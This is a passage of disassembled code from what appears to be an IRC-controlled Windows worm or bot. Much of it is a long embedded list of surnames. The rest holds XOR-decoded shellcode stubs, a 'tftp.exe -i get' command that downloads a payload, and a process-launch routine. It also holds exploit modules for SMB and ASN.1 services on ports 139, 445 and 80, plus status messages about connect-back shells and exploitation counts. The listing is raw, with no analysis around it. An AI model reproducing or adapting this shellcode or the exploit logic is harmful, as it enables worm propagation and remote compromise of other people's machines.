'Delattre',0 ; DATA XREF: ___:0042DA48o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DA44o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042DA40o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DA3Co aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DA38o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA34o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DA30o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DA2Co align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DA28o aDavid db 'David',0 ; DATA XREF: ___:0042DA24o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DA20o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DA1Co align 4 aDas db 'Das',0 ; DATA XREF: ___:0042DA18o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA14o aDapice db 'Dapice',0 ; DATA XREF: ___:0042DA10o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042DA0Co align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DA08o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DA04o aDaly db 'Daly',0 ; DATA XREF: ___:0042DA00o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042D9FCo align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042D9F8o aCyders db 'Cyders',0 ; DATA XREF: ___:0042D9F4o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042D9F0o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042D9ECo align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042D9E8o aCui db 'Cui',0 ; DATA XREF: ___:0042D9E4o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042D9E0o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042D9DCo align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042D9D8o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042D9D4o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042D9D0o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042D9CCo aCounter db 'Counter',0 ; DATA XREF: ___:0042D9C8o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042D9C4o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042D9C0o aCorey db 'Corey',0 ; DATA XREF: ___:0042D9BCo align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042D9B8o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042D9B4o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042D9B0o aComstock db 'Comstock',0 ; DATA XREF: ___:0042D9ACo align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042D9A4o ; ___:0042D9A8o aCollis db 'Collis',0 ; DATA XREF: ___:0042D9A0o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042D99Co aColella db 'Colella',0 ; DATA XREF: ___:0042D998o aColdren db 'Coldren',0 ; DATA XREF: ___:0042D994o aCoito db 'Coito',0 ; DATA XREF: ___:0042D990o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042D98Co aClow db 'Clow',0 ; DATA XREF: ___:0042D988o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042D984o aClement db 'Clement',0 ; DATA XREF: ___:0042D980o aClark db 'Clark',0 ; DATA XREF: ___:0042D97Co align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042D978o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042D974o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042D970o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042D96Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042D968o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D964o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D960o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D95Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D958o aChristie db 'Christie',0 ; DATA XREF: ___:0042D954o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D950o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D94Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D948o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D944o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D940o aChilds db 'Childs',0 ; DATA XREF: ___:0042D93Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D938o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D934o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D930o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D92Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D928o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D924o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D920o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D91Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D918o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D914o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D910o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D90Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D908o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D904o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D900o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D8FCo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D8F8o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D8F4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D8F0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D8ECo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D8E8o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D8E4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D8E0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D8DCo aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D8D8o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D8D4o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D8D0o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8CCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8C8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8C4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8C0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8BCo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8B8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8B4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8B0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8ACo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8A8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8A4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8A0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D89Co aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D898o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D894o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D890o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D88Co align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D888o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D884o aBudding db 'Budding',0 ; DATA XREF: ___:0042D880o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D87Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D878o aBrook db 'Brook',0 ; DATA XREF: ___:0042D874o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D870o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D86Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D868o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D864o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D860o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D858o ; ___:0042D85Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D854o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D850o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D84Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D848o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D844o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D840o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D83Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D838o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D834o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D830o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D82Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D828o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D824o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D820o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D81Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D818o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D814o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D810o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D80Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D808o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D804o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D800o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D7FCo align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D7F8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D7F4o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D7F0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D7ECo align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D7E8o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D7E4o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D7E0o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D7DCo aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D7D8o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D7D4o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D7D0o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7CCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7C8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7C4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7C0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7BCo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7B8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7B4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7B0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7ACo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7A8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7A4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7A0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D79Co align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D798o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D794o aBinion db 'Binion',0 ; DATA XREF: ___:0042D790o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D78Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D788o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D784o aBetti db 'Betti',0 ; DATA XREF: ___:0042D780o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D77Co align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D778o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D774o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D770o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D76Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D768o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D764o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D760o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D75Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D758o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D754o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D750o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D74Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D748o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D744o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D740o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D73Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D738o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D734o aBean db 'Bean',0 ; DATA XREF: ___:0042D730o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D72Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D728o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D724o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D720o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D71Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D718o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D714o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D710o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D70Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D708o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D704o aBarry db 'Barry',0 ; DATA XREF: ___:0042D700o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D6FCo align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D6F8o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D6F4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D6F0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D6ECo aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D6E8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D6E4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D6E0o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D6DCo align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D6D8o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D6D4o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D6D0o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6CCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6C8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6C4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6C0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6BCo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6B8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6B4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6B0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6ACo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6A8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6A4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6A0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D69Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D698o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D694o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D690o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D68Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D688o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D684o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D680o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D67Co align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D678o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D674o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D670o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D66Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D668o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D664o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D660o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D65Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D658o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D654o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D650o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D64Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D648o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D644o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D640o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D63Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D638o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D634o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D630o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D62Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D628o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D624o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D620o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D61Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D618o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D614o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D610o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D60Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D608o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D604o aAdams db 'Adams',0 ; DATA XREF: ___:0042D600o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D5FCo align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D5F8o align 10h byte_431250 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431254 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431258 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431260 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431264 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431268 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43126C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_431270 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_431274 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_431278 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_43127C dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_431280 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_431288 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_431298 ; --------------------------------------------------------------------------- loc_431296: ; CODE XREF: ___:loc_431298p jmp short loc_43129D ; --------------------------------------------------------------------------- loc_431298: ; CODE XREF: ___:00431294j call loc_431296 loc_43129D: ; CODE XREF: ___:loc_431296j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312A4: ; CODE XREF: ___:004312A9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312A4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312BA: ; CODE XREF: ___:004312BFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312BA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43135C jnz short loc_431348 retn ; --------------------------------------------------------------------------- loc_431348: ; CODE XREF: ___:00431345j ; ___:00431355j call near ptr loc_43134D+1 loc_43134D: ; CODE XREF: ___:loc_431348p add [edx+0], ch call sub_43135C jz loc_431348 retn ; =============== S U B R O U T I N E ======================================= sub_43135C proc near ; CODE XREF: ___:00431340p ; ___:00431350p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43135C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431408 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43140C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431410 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431414 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431418 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43141C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4315EA db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431616 ; =============== S U B R O U T I N E ======================================= sub_431606 proc near ; CODE XREF: sub_431606:loc_431616p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43160E: ; CODE XREF: sub_431606+Cj xor byte ptr [edx+ecx], 99h loop loc_43160E jmp short loc_43161B ; --------------------------------------------------------------------------- loc_431616: ; CODE XREF: ___:00431604j call sub_431606 loc_43161B: ; CODE XREF: sub_431606+Ej jo short near ptr dword_4315A4+12h cwde cdq cdq retn sub_431606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_431798 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317A4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317C4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43180C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431848 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431858 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_431874 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318A8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_4318D8 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_4318F8 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 